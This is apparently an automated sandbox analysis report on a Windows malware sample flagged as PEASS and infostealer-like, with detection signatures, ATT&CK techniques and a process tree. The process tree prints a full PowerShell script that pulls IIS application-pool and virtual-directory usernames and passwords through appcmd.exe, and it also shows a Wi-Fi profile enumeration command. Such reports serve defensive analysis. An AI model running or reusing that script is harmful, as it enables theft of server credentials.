Analysis
- max time kernel
150s - max time network
126s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
02/11/2026, 09:38
General
- Target 2026-11-01_c22773742e6a92fc83c52830725181ba_darkgate_elex_glassworm_hijackloader_icedid_quasar-rat.exe
- Size 11.2MB
- Sample261102-ll768saz5m
- SHA256 7e80cb6e65437ba4ff9c94c6ab693a0f2567a72d830cfdcb953d07036f0d1949
Malware Config
Signatures
- Family: PEASS, PEASS-ng, Peas
PEASS is an open-source tool for privilege escalation.
- Detects PEASS hacktool 1 IoCs
- Custom signatureDetects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
- Custom signatureDetects executables containing URLs to raw contents of a Github gist 1 IoCs
- Custom signatureDetects executables manipulated with Fody 1 IoCs
- Custom signatureDetects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs
- Custom signatureDetects executables referencing many confidential data stores found in browsers, mail clients, crypt 1 IoCs
- Custom signaturedetects Windows exceutables potentially bypassing UAC using fodhelper.exe 1 IoCs
- Loads dropped DLL 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Modifies system certificate store 2 TTPs 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-11-01_c22773742e6a92fc83c52830725181ba_darkgate_elex_glassworm_hijackloader_icedid_quasar-rat.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-01_c22773742e6a92fc83c52830725181ba_darkgate_elex_glassworm_hijackloader_icedid_quasar-rat.exe"1⤵
- Loads dropped DLL
- Checks whether UAC is enabled
- Enumerates connected drives
- Event Triggered Execution: Netsh Helper DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\systeminfo.exe"systeminfo.exe"2⤵
- System Location Discovery: System Language Discovery
- Gathers system information
-
-
C:\Windows\SysWOW64\netsh.exe"netsh" wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" # Check if appcmd.exe exists if (Test-Path ('C:\Windows\system32\inetsrv\appcmd.exe')) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add('user') $Null = $DataTable.Columns.Add('pass') $Null = $DataTable.Columns.Add('type') $Null = $DataTable.Columns.Add('vdir') $Null = $DataTable.Columns.Add('apppool') # Get list of application pools Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list apppools /text:name' | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.username' $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.password' $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne '') -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name' | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:userName' $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:password' $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne '') -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline #$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique $DataTable | Select-Object user,pass,type,vdir,apppool } else { # Status user Write-host 'No application pool or virtual directory passwords were found.' } }2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Modify Registry
1Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Network Share Discovery
1Peripheral Device Discovery
1Query Registry
3System Information Discovery
5System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
2Wi-Fi Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
sqlite.interop.dll
__PSScriptPolicyTest_oymgrdai.l2s.ps1
memory/2376-82-0x0000000002260000-0x0000000002296000-memory.dmp
memory/2376-100-0x0000000005FD0000-0x0000000005FEA000-memory.dmp
memory/2376-99-0x0000000006A60000-0x0000000006AF6000-memory.dmp
memory/2376-98-0x0000000005B20000-0x0000000005B6C000-memory.dmp
memory/2376-97-0x0000000005A10000-0x0000000005A2E000-memory.dmp
memory/2376-90-0x0000000005630000-0x000000000598B000-memory.dmp
memory/2376-84-0x0000000004DA0000-0x0000000004DC2000-memory.dmp
memory/2376-83-0x0000000004FE0000-0x000000000562A000-memory.dmp
memory/3156-26-0x0000000074892000-0x0000000074893000-memory.dmp
memory/3156-37-0x0000000040000000-0x000000004025B000-memory.dmp
memory/3156-19-0x00000000074B0000-0x00000000074BA000-memory.dmp
memory/3156-17-0x0000000006EA0000-0x0000000006EA8000-memory.dmp
memory/3156-18-0x0000000008A80000-0x0000000008A98000-memory.dmp
memory/3156-16-0x0000000008A50000-0x0000000008A76000-memory.dmp
memory/3156-20-0x0000000008AA0000-0x0000000008AA8000-memory.dmp
memory/3156-21-0x0000000008AB0000-0x0000000008ABA000-memory.dmp
memory/3156-22-0x0000000008B50000-0x0000000008B68000-memory.dmp
memory/3156-23-0x0000000009B10000-0x0000000009BA2000-memory.dmp
memory/3156-24-0x0000000009D80000-0x0000000009F42000-memory.dmp
memory/3156-25-0x000000000A480000-0x000000000A9AC000-memory.dmp
memory/3156-0-0x0000000074892000-0x0000000074893000-memory.dmp
memory/3156-27-0x0000000074880000-0x000000007503C000-memory.dmp
memory/3156-34-0x0000000074880000-0x000000007503C000-memory.dmp
memory/3156-35-0x000000000A450000-0x000000000A46E000-memory.dmp
memory/3156-36-0x000000000AE70000-0x000000000AE92000-memory.dmp
memory/3156-15-0x0000000006DB0000-0x0000000006DBA000-memory.dmp
memory/3156-45-0x0000000040000000-0x0000000040047000-memory.dmp
memory/3156-53-0x0000000040000000-0x0000000040038000-memory.dmp
memory/3156-60-0x0000000040000000-0x00000000402AD000-memory.dmp
memory/3156-67-0x0000000040000000-0x0000000040010000-memory.dmp
memory/3156-73-0x0000000040000000-0x0000000040A99000-memory.dmp
memory/3156-80-0x000000000B6B0000-0x000000000B700000-memory.dmp
memory/3156-81-0x000000000AED0000-0x000000000AEDA000-memory.dmp
memory/3156-14-0x00000000088F0000-0x00000000089A4000-memory.dmp
memory/3156-13-0x0000000008E50000-0x000000000940A000-memory.dmp
memory/3156-12-0x0000000074880000-0x000000007503C000-memory.dmp
memory/3156-11-0x0000000006E40000-0x0000000006E59000-memory.dmp
memory/3156-10-0x0000000006EB0000-0x0000000006F16000-memory.dmp
memory/3156-9-0x0000000006DF0000-0x0000000006E3A000-memory.dmp
memory/3156-8-0x0000000074880000-0x000000007503C000-memory.dmp
memory/3156-7-0x0000000006990000-0x00000000069F6000-memory.dmp
memory/3156-1-0x0000000000F40000-0x0000000001A6E000-memory.dmp
memory/3156-102-0x000000000B8C0000-0x000000000BC1B000-memory.dmp
memory/3156-108-0x0000000074880000-0x000000007503C000-memory.dmp